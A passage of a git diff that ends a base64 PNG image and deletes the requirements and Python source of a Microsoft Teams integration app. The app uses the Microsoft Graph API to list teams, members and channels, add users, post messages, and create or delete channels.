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 diff --git a/microsoft-teams-system-access/1.0.0/requirements.txt b/microsoft-teams-system-access/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/microsoft-teams-system-access/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/microsoft-teams-system-access/1.0.0/src/app.py b/microsoft-teams-system-access/1.0.0/src/app.py deleted file mode 100644 index 9ce1eee1..00000000 --- a/microsoft-teams-system-access/1.0.0/src/app.py +++ /dev/null @@ -1,275 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import uuid -import time -import requests - -from walkoff_app_sdk.app_base import AppBase - -# Antispam -# https://protection.office.com/threatpolicy -# https://protection.office.com/antispam -# https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/configure-the-connection-filter-policy?view=o365-worldwide - -#create_url = "https://compliance.microsoft.com/api/ComplianceSearch" -#Request URL: -# https://docs.microsoft.com/en-us/information-protection/develop/overview -# https://docs.microsoft.com/en-us/graph/api/resources/ediscovery-ediscoveryapioverview?view=graph-rest-beta -# Microsoft Graph Security securityAction entity -# https://docs.microsoft.com/en-us/graph/api/resources/threatassessment-api-overview?view=graph-rest-1.0 - -# Permissions (Delegated): SecurityEvents, ThreatAssement, ThreatIndicators, Compliance -# !! Have a "report email" internally using office365 !! -# Microsoft Threat Protection -# https://security.microsoft.com/mtp/ -# https://protection.office.com/api/AcceptedDomain - -class Teams(AppBase): - __version__ = "1.0.0" - app_name = "Teams" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - self.graph_url = "https://graph.microsoft.com" - - def authenticate(self, tenant_id, client_id, client_secret): - s = requests.Session() - auth_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" - auth_data = { - "grant_type": "client_credentials", - "client_id": client_id, - "client_secret": client_secret, - "scope": f"{self.graph_url}/.default", - } - auth_headers = { - "Content-Type": "application/x-www-form-urlencoded", - "cache-control": "no-cache", - } - - print(f"Making request to: {auth_url}") - res = s.post(auth_url, data=auth_data, headers=auth_headers) - - # Auth failed, raise exception with the response - if res.status_code != 200: - raise ConnectionError(res.text) - - access_token = res.json().get("access_token") - s.headers = {"Authorization": f"Bearer {access_token}", "cache-control": "no-cache"} - print(s) - return s - - # ENABLE: https://protection.office.com/api/OrganizationCustomization/Enable?source=HostedContentFilterPolicy - - def list_teams(self, tenant_id, client_id, client_secret, user_id): - session = self.authenticate(tenant_id, client_id, client_secret) - graph_url = "%s/v1.0/users/%s/joinedTeams" % (self.graph_url, user_id) - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - try: - data = ret.json() - except: - data = ret.text - - if ret.status_code < 300: - return {"success": True, "value": data} - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "graph_url": graph_url, "details": data} - - def list_members_in_team(self, tenant_id, client_id, client_secret, team_id): - session = self.authenticate(tenant_id, client_id, client_secret) - graph_url = "%s/v1.0/teams/%s/members" % (self.graph_url, team_id) - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - try: - data = ret.json() - except: - data = ret.text - - if ret.status_code < 300: - return {"success": True, "value": data} - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "url": graph_url, "details": data} - - def list_channels_in_team(self, tenant_id, client_id, client_secret, team_id): - session = self.authenticate(tenant_id, client_id, client_secret) - graph_url = "%s/v1.0/teams/%s/channels" % (self.graph_url, team_id) - - ret = session.get(graph_url) - print(ret.status_code) - print(ret.text) - try: - data = ret.json() - except: - data = ret.text - - if ret.status_code < 300: - return {"success": True, "value": data} - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "url": graph_url, "details": data} - - def add_user_to_channel(self, tenant_id, client_id, client_secret, team_id, channel_id, user_id, role): - session = self.authenticate(tenant_id, client_id, client_secret) - graph_url = "%s/v1.0/teams/%s/channels/%s/members" % (self.graph_url, team_id, channel_id) - - data = { - "@odata.type": "#microsoft.graph.aadUserConversationMember", - "roles": [role], - "user@odata.bind": "https://graph.microsoft.com/v1.0/users('%s')" % user_id - } - - ret = session.post(graph_url, json=data) - try: - data = ret.json() - except: - data = ret.text - - if ret.status_code < 300: - return {"success": True, "value": data} - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "url": graph_url, "details": data} - - # Dosnt work: https://docs.microsoft.com/en-us/graph/api/chat-post-messages?view=graph-rest-beta&tabs=http - def send_message_to_channel(self, tenant_id, client_id, client_secret, team_id, channel_id, user_id, message): - session = self.authenticate(tenant_id, client_id, client_secret) - graph_url = "%s/v1.0/teams/%s/channels/%s/messages" % (self.graph_url, team_id, channel_id) - - #"createdDateTime":"2021-02-04T19:58:15.511Z", - data = { - "from":{ - "user":{ - "id":user_id, - "displayName":"Fredrik Sveum ØdegÃ¥rdstuen", - "userIdentityType":"aadUser" - } - }, - "body":{ - "contentType":"html", - "content": message, - } - } - - ret = session.post(graph_url, json=data) - try: - data = ret.json() - except: - data = ret.text - - if ret.status_code < 300: - return {"success": True, "value": data} - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "url": graph_url, "details": data} - - def create_channel_in_team(self, tenant_id, client_id, client_secret, team_id, name, description): - session = self.authenticate(tenant_id, client_id, client_secret) - graph_url = "%s/v1.0/teams/%s/channels" % (self.graph_url, team_id) - - data = { - "displayName": name, - "description": description, - "membershipType": "standard" - } - - ret = session.post(graph_url, json=data) - try: - data = ret.json() - except: - data = ret.text - - if ret.status_code < 300: - return {"success": True, "value": data} - - return {"success": False, "reason": "Bad status code %d - expecting 200." % ret.status_code, "url": graph_url, "details": data} - - def delete_channel(self, tenant_id, client_id, client_secret, team_id, channel_id): - session = self.authenticate(tenant_id, client_id, client_secret) - graph_url = "%s/v1.0/teams/%s/channels/%s" % (self.graph_url, team_id, channel_id) - ret = session.delete(graph_url) - try: - data = ret.json() - except: - data = ret.text - - if ret.status_code < 300: - return 